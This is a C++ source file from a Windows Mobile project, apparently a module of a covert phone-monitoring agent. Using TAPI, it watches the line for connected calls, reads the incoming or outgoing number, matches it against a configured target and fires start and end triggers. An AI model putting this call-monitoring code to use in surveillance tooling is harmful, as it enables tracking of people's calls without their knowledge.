Mornella/Mornella_Mobile/Call.cpp
#include "Event.h"
#include "Common.h"
#include "Conf.h"
#include "Date.h"
#include "Log.h"
#include <connmgr.h>
#include <Connmgr_status.h>
#include <Iptypes.h>
#include <Iphlpapi.h>
#include <tapi.h>
#include <pm.h>
DWORD WINAPI OnCall(LPVOID lpParam) {
Event *me = (Event *)lpParam;
Configuration *conf;
HANDLE eventHandle;
wstring number;
int delay, iterations, curIterations = 0, waitDelay = 0;
HLINEAPP hLineApp;
HLINE hLineOpened = NULL;
DWORD dwPhoneNumDevs = 0, dwApiVersion = TAPI_CURRENT_VERSION;
LINEINITIALIZEEXPARAMS liep;
LINEMESSAGE lineMess;
UINT i;
BOOL bConnected = FALSE;
eventHandle = me->getEvent();
me->setStatus(EVENT_RUNNING);
conf = me->getConf();
try {
number = conf->getString(L"number");
} catch (...) {
number = L"";
}
try {
delay = conf->getInt(L"delay") * 1000;
} catch (...) {
delay = INFINITE;
}
try {
iterations = conf->getInt(L"iter");
} catch (...) {
iterations = MAXINT;
}
ZeroMemory(&liep, sizeof(liep));
liep.dwTotalSize = sizeof(LINEINITIALIZEEXPARAMS);
liep.dwOptions = LINEINITIALIZEEXOPTION_USEEVENT;
if (lineInitializeEx(&hLineApp, 0, NULL, TEXT("ExTapi_Lib"), &dwPhoneNumDevs, &dwApiVersion, &liep)) {
me->setStatus(EVENT_STOPPED);
return 0;
}
for (i = 0; i < dwPhoneNumDevs; i++) {
LINEEXTENSIONID extensionID;
ZeroMemory(&extensionID, sizeof(LINEEXTENSIONID));
lineNegotiateAPIVersion(hLineApp, i, 0x00010003, TAPI_CURRENT_VERSION, &dwApiVersion, &extensionID);
}
LINECALLPARAMS lineCallParams;
HCALL hCall = NULL;
ZeroMemory(&lineCallParams, sizeof(lineCallParams));
lineCallParams.dwTotalSize = sizeof(lineCallParams);
lineCallParams.dwBearerMode = LINEBEARERMODE_VOICE;
lineCallParams.dwAddressMode = LINEADDRESSMODE_DIALABLEADDR;
lineCallParams.dwCallParamFlags = LINECALLPARAMFLAGS_IDLE;
lineCallParams.dwMediaMode = 0;
if (lineOpen(hLineApp, 0, &hLineOpened, dwApiVersion, 0, 0x100, LINECALLPRIVILEGE_MONITOR |
LINECALLPRIVILEGE_OWNER, LINEMEDIAMODE_INTERACTIVEVOICE | LINEMEDIAMODE_DATAMODEM,
&lineCallParams)) {
lineShutdown(hLineApp);
me->setStatus(EVENT_STOPPED);
return 0;
}
DBG_TRACE(L"Debug - Call.cpp - Call event started\n", 5, FALSE);
BYTE buffer[sizeof(LINECALLINFO) * 2];
LPLINECALLINFO pCallInfo = (LPLINECALLINFO)buffer;
pCallInfo->dwTotalSize = sizeof(buffer);
// Attendiamo che arrivi o sia effettuata una chiamata
LOOP {
int now = GetTickCount();
if (WaitForSingleObject(liep.Handles.hEvent, 1000) == WAIT_TIMEOUT) {
if (WaitForSingleObject(eventHandle, 0) == WAIT_OBJECT_0) {
lineClose(hLineOpened);
lineShutdown(hLineApp);
me->setStatus(EVENT_STOPPED);
DBG_TRACE(L"Debug - Call.cpp - Call clean stop\n", 5, FALSE);
return 0;
}
continue;
}
// Attendiamo 200ms per l'arrivo del messaggio
LONG lineResult = lineGetMessage(hLineApp, &lineMess, 200);
if (lineResult == LINEERR_INVALAPPHANDLE) { // Proviamo a riaprire la linea
// Se non ci riusciamo, stoppiamo l'evento
if (lineOpen(hLineApp, 0, &hLineOpened, dwApiVersion, 0, 0x100, LINECALLPRIVILEGE_MONITOR |
LINECALLPRIVILEGE_OWNER, LINEMEDIAMODE_INTERACTIVEVOICE | LINEMEDIAMODE_DATAMODEM, &lineCallParams)) {
lineShutdown(hLineApp);
me->setStatus(EVENT_STOPPED);
return 0;
}
}
// In caso di errore, continuiamo
if (lineResult < 0)
continue;
waitDelay += GetTickCount() - now;
if (waitDelay >= delay && curIterations < iterations) {
waitDelay = 0;
me->triggerRepeat();
curIterations++;
}
// Chiamata appena chiusa
if (lineMess.dwMessageID == LINE_CALLSTATE && lineMess.dwParam1 == LINECALLSTATE_DISCONNECTED && bConnected == TRUE) {
bConnected = FALSE;
me->triggerEnd();
continue;
}
// Questo messaggio non ci interessa, vogliamo solo che chiamate connesse
if (lineMess.dwMessageID != LINE_CALLSTATE || lineMess.dwParam1 != LINECALLSTATE_CONNECTED)
continue;
hCall = (HCALL)lineMess.hDevice; // Prendiamo l'handle della chiamata!
if (lineGetCallInfo(hCall, pCallInfo))
continue;
// Vediamo se la chiamata e' in entrata o in uscita
WCHAR *pwNumber = NULL;
// In entrata
if (pCallInfo->dwCallerIDFlags == LINECALLPARTYID_ADDRESS && pCallInfo->dwCallerIDOffset)
pwNumber = (WCHAR *)(((BYTE *)pCallInfo) + pCallInfo->dwCallerIDOffset);
// In uscita
if (pCallInfo->dwCalledIDFlags == LINECALLPARTYID_ADDRESS && pCallInfo->dwCalledIDOffset)
pwNumber = (WCHAR *)(((BYTE *)pCallInfo) + pCallInfo->dwCalledIDOffset);
if (pwNumber == NULL)
continue;
// Le chiamate in uscita non hanno necessariamente il codice +XX quindi usiamo wcsstr()
if (bConnected == FALSE && (number.empty() || wcsstr(pwNumber, number.c_str()))) {
bConnected = TRUE;
me->triggerStart();
continue;
}
}
me->setStatus(EVENT_STOPPED);
return 0;
}